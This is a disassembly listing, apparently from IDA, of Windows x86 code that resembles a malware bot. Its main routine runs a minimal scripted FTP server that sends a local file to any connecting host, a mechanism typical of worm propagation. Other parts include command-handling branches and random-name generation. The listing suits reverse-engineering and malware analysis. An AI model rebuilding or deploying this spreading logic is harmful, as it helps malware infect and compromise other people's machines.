loc_41E7FA:				; CODE XREF: sub_41E660+37j
		lea	ecx, [edi+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E8EE
		push	offset asc_443600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	[esp+64h+var_4], 2
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41EC15
		push	offset asc_443600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 3
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 4
		call	sub_4014D3
		push	eax
		push	offset dword_44402C
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41E8EE:				; CODE XREF: sub_41E660+1ACj
		lea	ecx, [edi+8Eh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EA55
		lea	edx, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_4016E0
; ---------------------------------------------------------------------------
		lea	eax, [esp+60h+var_48]
		mov	ebx, 5
		push	eax
		mov	[esp+64h+var_4], ebx
		call	sub_402144
		add	esp, 4
		test	al, al
		jz	loc_41EA3D
		push	0
		push	3Eh
		push	13h
		push	ebx
		push	3
		push	9
		push	16h
		push	12h
		push	ebx
		push	13h
		lea	ecx, [esp+88h+var_3C]
		push	3Dh
		push	ecx
		call	sub_4019B5
		add	esp, 30h
		mov	edi, eax
		lea	ebp, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 6
		mov	ecx, ebp
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_401B40
		lea	ecx, [esp+60h+var_4C]
		xor	edi, edi
		push	ecx
		lea	ecx, [esp+64h+var_48]
		call	sub_40145B
		mov	edx, [eax]
		lea	eax, [esp+60h+var_4C]
		push	eax
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], edx
		call	sub_4013ED
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jz	short loc_41EA3D
		mov	ebx, dword_50F8D0


loc_41E9D6:				; CODE XREF: sub_41E660+3DBj
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_401055
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	edi
		push	offset dword_444020
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch
		push	5DCh
		call	ebx
		lea	ecx, [esp+60h+var_50]
		call	sub_40182A
		lea	eax, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4013ED
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jnz	short loc_41E9D6


loc_41EA3D:				; CODE XREF: sub_41E660+2CFj
					; sub_41E660+36Ej
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401253
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41EA55:				; CODE XREF: sub_41E660+2A3j
		lea	ecx, [edi+0BCh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EB4C
		push	offset asc_443600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	[esp+64h+var_4], 7
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41EC15
		push	offset asc_443600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 8
		call	sub_4017E4
		push	eax
		call	sub_4019FB
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 9
		call	sub_4014D3
		push	eax
		push	offset dword_444018
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41EB4C:				; CODE XREF: sub_41E660+40Aj
		lea	ecx, [edi+60h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EC15
		push	offset asc_443600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	[esp+64h+var_4], 0Ah
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	short loc_41EC15
		push	offset asc_443600 ; " "
		lea	ecx, [esp+64h+var_24]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 0Bh
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+60h+var_24]
		mov	ebx, eax
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	ebx, ebx
		jz	short loc_41EC15
		push	ebx
		push	offset dword_44400C
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		push	ebx
		call	sub_4018A7
		add	esp, 1Ch
		jmp	short loc_41EC17
; ---------------------------------------------------------------------------


loc_41EC15:				; CODE XREF: sub_41E660+1F0j
					; sub_41E660+44Ej ...
		xor	al, al


loc_41EC17:				; CODE XREF: sub_41E660+195j
					; sub_41E660+289j ...
		mov	ecx, [esp+60h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 50h
		retn	4
sub_41E660	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 180h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_41EDB0:				; CODE XREF: ___:loc_401FE6j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_43B210
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	edi, dword_50F8D0
		mov	[ebp-10h], esp
		mov	esi, ecx
		mov	dword ptr [ebp-4], 0


loc_41EDE0:				; CODE XREF: ___:0041EDF1j
		mov	al, [esi+0ABh]
		test	al, al
		jnz	short loc_41EDF3
		push	3E8h
		call	edi
		jmp	short loc_41EDE0
; ---------------------------------------------------------------------------


loc_41EDF3:				; CODE XREF: ___:0041EDE8j
		mov	al, [esi+0ACh]
		lea	ecx, [esi+15h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4472B7
		call	sub_401A32
		lea	edx, [ebp-14h]
		mov	ecx, offset byte_4E6EDB
		push	edx
		mov	[ebp-14h], esi
		call	sub_40120D
; ---------------------------------------------------------------------------


loc_41EE19:				; DATA XREF: ___:loc_41EE2Co
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41EE2C:				; DATA XREF: ___:0044154Co
		mov	eax, offset loc_41EE19
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EE70	proc near		; CODE XREF: sub_401DE3j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		mov	[esi+11h], eax
		mov	cl, [eax+94h]
		mov	[esi+0A9h], cl
		mov	dl, [eax+93h]
		mov	[esi+0A8h], dl
		mov	cl, [eax+95h]
		add	eax, 15h
		mov	[esi+0AAh], cl
		push	eax
		lea	ecx, [esi+2Ah]
		call	sub_401FBE
		mov	edx, [esi+11h]
		lea	ecx, [esi+69h]
		add	edx, 54h
		push	edx
		call	sub_401FBE
		mov	eax, [esi+11h]
		lea	ecx, [esi+54h]
		add	eax, 3Fh
		push	eax
		call	sub_401FBE
		mov	ecx, [esi+11h]
		add	ecx, 2Ah
		push	ecx
		lea	ecx, [esi+3Fh]
		call	sub_401FBE
		mov	edx, [esi+11h]
		lea	ecx, [esi+15h]
		push	edx
		call	sub_401FBE
		mov	al, [esp+4+arg_4]
		mov	byte ptr [esi+0ABh], 1
		mov	[esi+0ACh], al
		pop	esi
		retn	8
sub_41EE70	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EF30	proc near		; CODE XREF: sub_4020A9j

var_DC		= dword	ptr -0DCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_94		= byte ptr -94h
var_88		= dword	ptr -88h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_44		= byte ptr -44h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
arg_0		= byte ptr  4
arg_8		= byte ptr  0Ch
arg_14		= dword	ptr  18h
arg_18		= byte ptr  1Ch
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_50		= byte ptr  54h
arg_68		= byte ptr  6Ch
arg_80		= byte ptr  84h
arg_88		= byte ptr  8Ch
arg_A8		= byte ptr  0ACh
arg_E4		= byte ptr  0E8h
arg_F0		= byte ptr  0F4h
arg_118		= byte ptr  11Ch
arg_128		= byte ptr  12Ch
arg_138		= byte ptr  13Ch
arg_148		= byte ptr  14Ch
arg_158		= byte ptr  15Ch
arg_908		= byte ptr  90Ch
arg_18C8	= dword	ptr  18CCh
arg_18D8	= dword	ptr  18DCh
arg_1930	= byte ptr  1934h
arg_1970	= dword	ptr  1974h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41EF30
		push	eax
		mov	eax, 19B4h
		mov	large fs:0, esp
		call	sub_436840
		push	esi
		push	edi
		mov	edi, ecx
		xor	eax, eax
		mov	[esp+14h+var_8], edi
		mov	[esp+14h+arg_14], 10h
		lea	esi, [edi+19h]
		mov	ecx, esi
		mov	[ecx], eax
		mov	[ecx+4], eax
		mov	[ecx+8], eax
		mov	[ecx+0Ch], eax
		mov	word ptr [esi],	2
		mov	[edi+1Dh], eax
		mov	dx, word ptr dword_44768F
		push	edx
		call	near ptr 71AB2B66h
		nop
		push	6
		push	1
		push	2
		mov	[edi+1Bh], ax
		call	near ptr 71AB3B91h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[edi+15h], eax
		jnz	short loc_41EFB7
		lea	eax, [esp+24h+var_18]
		mov	ecx, offset byte_4E6EDB
		push	eax
		mov	[esp+28h+var_18], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F65A
; ---------------------------------------------------------------------------


loc_41EFB7:				; CODE XREF: sub_41EF30+6Dj
		push	10h
		push	esi
		push	eax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41EFE7
		mov	ecx, [edi+15h]
		push	ecx
		nop
		call	near ptr 71AB9639h
		lea	edx, [esp+34h+var_28]
		mov	ecx, offset byte_4E6EDB
		push	edx
		mov	[esp+38h+var_28], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F65A
; ---------------------------------------------------------------------------


loc_41EFE7:				; CODE XREF: sub_41EF30+93j
		mov	al, byte_4E6E84
		test	al, al
		jz	loc_41F650
		push	ebx
		mov	ebx, dword_50FB08
		push	ebp
		mov	ebp, dword_50FC8C


loc_41F002:				; CODE XREF: sub_41EF30+718j
		mov	eax, [edi+15h]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41F01D
		push	0FAh
		jmp	loc_41F63B
; ---------------------------------------------------------------------------


loc_41F01D:				; CODE XREF: sub_41EF30+E1j
		mov	eax, [edi+15h]
		lea	ecx, [esp+40h+var_C]
		lea	edx, [esp+40h+arg_F0]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC1028h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_41F636
		xor	ecx, ecx
		lea	edx, [esp+4Ch+var_14]
		mov	[esp+4Ch+var_2C], ecx
		lea	eax, [esp+4Ch+var_2C]
		mov	[esp+4Ch+var_28], ecx
		push	edx
		mov	[esp+50h+var_24], ecx
		push	eax
		push	esi
		mov	[esp+58h+var_14], 10h
		mov	[esp+58h+var_20], ecx
		nop
		call	near ptr 71AC0B50h
		mov	eax, [esp+58h+var_34]
		test	al, al
		jz	loc_41F641
		mov	cl, byte_447DF8
		test	cl, cl
		jz	short loc_41F0CF
		mov	edx, [esp+58h+var_34+3]
		mov	ecx, dword_44768F
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+5Ch+var_34+2]
		push	edx
		mov	edx, [esp+60h+var_34+1]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aFtpD_D_D_DOnD ;	"ftp: %d.%d.%d.%d on %d"
		mov	ecx, offset dword_447998
		call	sub_4014D3
		push	eax
		push	0
		push	0
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 28h


loc_41F0CF:				; CODE XREF: sub_41EF30+14Ej
		lea	ecx, [esp+58h+arg_0]
		call	sub_401424
		push	1000h
		push	1000h
		lea	ecx, [esp+60h+arg_0]
		mov	[esp+60h+arg_1970], 0
		call	sub_401C5D
		push	eax
		call	sub_4015EB
		add	esp, 8
		lea	eax, [esp+58h+arg_0]
		lea	ecx, [esp+58h+arg_18]
		push	eax
		call	sub_4014C9
		lea	ecx, [esp+58h+arg_0]
		mov	byte ptr [esp+58h+arg_1970], 1
		push	ecx
		lea	ecx, [esp+5Ch+arg_18]
		call	sub_401FBE
		mov	edi, offset a220 ; "220	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a220	; "220 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+6Ch+arg_158]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a331 ; "331	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a331	; "331 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+7Ch+arg_148]
		push	800h
		push	eax
		push	esi
		call	sub_401280
		mov	edi, offset a230 ; "230	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a230	; "230 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	ecx, [esp+8Ch+arg_138]
		push	800h
		push	ecx
		push	esi
		call	sub_401280
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+9Ch+arg_128]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		add	esp, 10h
		lea	eax, [esp+98h+arg_128]
		lea	ecx, [esp+98h+var_C]
		push	eax
		call	sub_401861
		push	offset asc_443600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+0A4h+var_C]
		mov	[esp+0A4h+arg_1930], 2
		call	sub_4016AE
		push	offset asc_4440A8 ; ","
		lea	edx, [esp+9Ch+arg_38]
		push	0
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		mov	[esp+0A4h+arg_1930], 3
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 4
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_38]
		mov	edi, eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_4440A8 ; ","
		lea	eax, [esp+9Ch+arg_80]
		push	1
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 5
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_80]
		mov	[esp+98h+var_7C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_4440A8 ; ","
		lea	ecx, [esp+9Ch+arg_8]
		push	2
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 6
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_8]
		mov	[esp+98h+var_5C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_4440A8 ; ","
		lea	edx, [esp+9Ch+arg_68]
		push	3
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 7
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_68]
		mov	[esp+98h+var_58], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_4440A8 ; ","
		lea	eax, [esp+9Ch+arg_20]
		push	4
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 8
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_20]
		mov	[esp+98h+var_88], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_4440A8 ; ","
		lea	ecx, [esp+9Ch+arg_50]
		push	5
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 9
		call	sub_4017E4
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_50]
		mov	[esp+98h+var_80], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		mov	dl, byte ptr [esp+98h+var_88]
		mov	al, byte ptr [esp+98h+var_80]
		mov	ecx, [esp+98h+var_58]
		mov	byte ptr [esp+98h+var_68+1], dl
		mov	edx, [esp+98h+var_5C]
		mov	byte ptr [esp+98h+var_68], al
		mov	eax, [esp+98h+var_68]
		push	ecx
		and	eax, 0FFFFh
		push	edx
		mov	[esp+0A0h+var_88], eax
		mov	eax, [esp+0A0h+var_7C]
		push	eax
		push	edi
		lea	ecx, [esp+0A8h+arg_A8]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ecx
		nop
		call	sub_5EFFD5
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 18h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0ACh+arg_118]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a150 ; "150	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a150	; "150 \r\n"
		push	esi
		call	ebp	; send
		mov	eax, [esp+0B8h+var_A8]
		lea	ecx, [esp+0B8h+arg_88]
		push	eax
		push	ecx
		call	sub_401A8C
		add	esp, 8
		lea	ecx, [esp+0B8h+var_44]
		mov	[esp+0B8h+var_A8], eax
		push	offset aRb	; "rb"
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		mov	[esp+0B8h+var_A0], edi
		jz	loc_41F595
		cmp	[esp+0B8h+var_A8], 0FFFFFFFFh
		jz	loc_41F595
		push	2
		push	0
		push	edi
		nop
		call	near ptr 77C4139Ch
		push	edi
		call	near ptr 77C41574h
		nop
		push	0
		push	0
		push	edi
		mov	[esp+0D4h+var_9C], eax
		nop
		call	near ptr 77C4139Ch
		add	esp, 1Ch


loc_41F4C0:				; CODE XREF: sub_41EF30+5E1j
		mov	edx, [esp+0B8h+var_A0]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+0B8h+arg_908]
		rep stosd
		push	edx
		push	1000h
		lea	eax, [esp+0C0h+arg_908]
		push	1
		push	eax
		nop
		call	near ptr 77C411FBh
		mov	ecx, [esp+0C8h+var_A0]
		mov	edi, eax
		add	esp, 10h
		test	byte ptr [ecx+0Ch], 20h
		jnz	short loc_41F513
		mov	eax, [esp+0B8h+var_A8]
		push	0
		lea	edx, [esp+0BCh+arg_908]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		cmp	edi, 1000h
		jz	short loc_41F4C0


loc_41F513:				; CODE XREF: sub_41EF30+5C7j
		mov	eax, [esp+0C8h+var_B4]
		mov	edx, [eax+11h]
		inc	edx
		mov	[eax+11h], edx
		mov	cl, byte_447DF8
		test	cl, cl
		mov	eax, edx
		jz	short loc_41F57C
		mov	edx, [esp+0C8h+var_A4+3]
		mov	ecx, [esp+0C8h+var_AC]
		push	eax
		mov	eax, [esp+0CCh+var_A4+2]
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+0D0h+var_A4+1]
		push	edx
		mov	edx, [esp+0D4h+var_A4]
		and	eax, 0FFh
		and	ecx, 0FFh
		push	eax
		and	edx, 0FFh
		push	ecx
		push	edx
		push	offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total	s"...
		mov	ecx, offset dword_447998
		call	sub_4014D3
		push	eax
		push	0
		push	0
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 2Ch


loc_41F57C:				; CODE XREF: sub_41EF30+5F8j
		mov	eax, [esp+0C8h+var_B0]
		push	eax
		nop
		call	near ptr 77C40AB1h
		mov	ecx, [esp+0CCh+var_B8]
		add	esp, 4
		push	ecx
		nop
		call	near ptr 71AB9639h


loc_41F595:				; CODE XREF: sub_41EF30+55Bj
					; sub_41EF30+566j
		mov	edi, offset a226 ; "226	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a226	; "226 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0E0h+arg_E4]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a221 ; "221	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a221	; "221 \r\n"
		push	esi
		call	ebp	; send
		push	esi
		call	near ptr 71AB9639h
		nop
		lea	ecx, [esp+0F0h+var_AC]
		mov	byte ptr [esp+0F0h+arg_18D8], 2
		call	sub_401226
		lea	ecx, [esp+0F0h+var_64]
		mov	byte ptr [esp+0F0h+arg_18D8], 1
		call	sub_401226
		lea	ecx, [esp+0F0h+var_7C]
		mov	byte ptr [esp+0F0h+arg_18D8], 0
		call	sub_401226
		lea	ecx, [esp+0F0h+var_94]
		mov	[esp+0F0h+arg_18D8], 0FFFFFFFFh
		call	sub_401226
		mov	edi, [esp+0F0h+var_DC]


loc_41F636:				; CODE XREF: sub_41EF30+109j
		push	9C4h


loc_41F63B:				; CODE XREF: sub_41EF30+E8j
		call	near ptr 2801E3Fh
		nop


loc_41F641:				; CODE XREF: sub_41EF30+140j
		mov	al, byte_4E6E84
		test	al, al
		jnz	loc_41F002
		pop	ebp
		pop	ebx


loc_41F650:				; CODE XREF: sub_41EF30+BEj
		mov	eax, [edi+15h]
		push	eax
		call	near ptr 71AB9639h
		nop


loc_41F65A:				; CODE XREF: sub_41EF30+82j
					; sub_41EF30+B2j
		mov	ecx, [esp+0F0h+arg_18C8]
		pop	edi
		xor	eax, eax
		pop	esi
		mov	large fs:0, ecx
		add	esp, 19C0h
		retn
sub_41EF30	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41F860	proc near		; CODE XREF: sub_401230j

var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_60		= byte ptr -60h
var_48		= byte ptr -48h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41F860
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 84h
		push	ebx
		push	ebp
		push	esi
		push	71h
		call	sub_40197E
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[esp+9Ch+var_90], eax
		jnz	short loc_41F89D
		mov	byte_4E6ED9, 0
		jmp	loc_41FA01
; ---------------------------------------------------------------------------


loc_41F89D:				; CODE XREF: sub_41F860+2Fj
		mov	cl, byte_4472BB
		xor	ebx, ebx
		cmp	cl, bl
		mov	byte_4E6ED9, 1
		jnz	loc_41F9F4
		lea	ecx, [esp+9Ch+var_8C]
		push	ecx
		push	eax
		call	sub_401FEB
		mov	ebp, eax
		add	esp, 8
		cmp	ebp, 0FFFFFFFFh
		jz	loc_41F9E7
		push	edi
		lea	ecx, [esp+0A0h+var_7C]
		call	sub_401424
		mov	[esp+0A0h+var_4], ebx
		call	sub_401EEC
		mov	esi, dword_50FABC
		call	esi	; rand
		cdq
		mov	ecx, 3
		push	offset byte_446F70
		idiv	ecx
		lea	ecx, [esp+0A0h+var_78]
		mov	edi, edx
		add	edi, 0Ah
		call	sub_4015D7
		cmp	edi, ebx
		jle	short loc_41F966


loc_41F90A:				; CODE XREF: sub_41F860+104j
		lea	ecx, [esp+9Ch+var_60]
		call	sub_401424
		lea	edx, [esp+9Ch+var_78]
		lea	ecx, [esp+9Ch+var_60]
		push	edx
		mov	byte ptr [esp+0A0h], 1
		call	sub_401FBE
		call	esi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+9Ch+var_60]
		add	edx, 61h
		push	edx
		call	sub_4017E4
		push	eax
		lea	edx, [esp+0A4h+var_78]
		push	offset dword_443E84
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+9Ch+var_60]
		mov	[esp+9Ch], bl
		call	sub_401226
		dec	edi
		jnz	short loc_41F90A


loc_41F966:				; CODE XREF: sub_41F860+A8j
		push	0Ah
		lea	ecx, [esp+0A0h+var_78]
		call	sub_40146F
		mov	[eax], bl
		mov	ecx, 10h
		xor	eax, eax
		lea	edi, [esp+9Ch+var_48]
		rep stosd
		lea	ecx, [esp+9Ch+var_78]
		call	sub_4017E4
		push	eax
		push	71h
		call	esi	; rand
		cdq
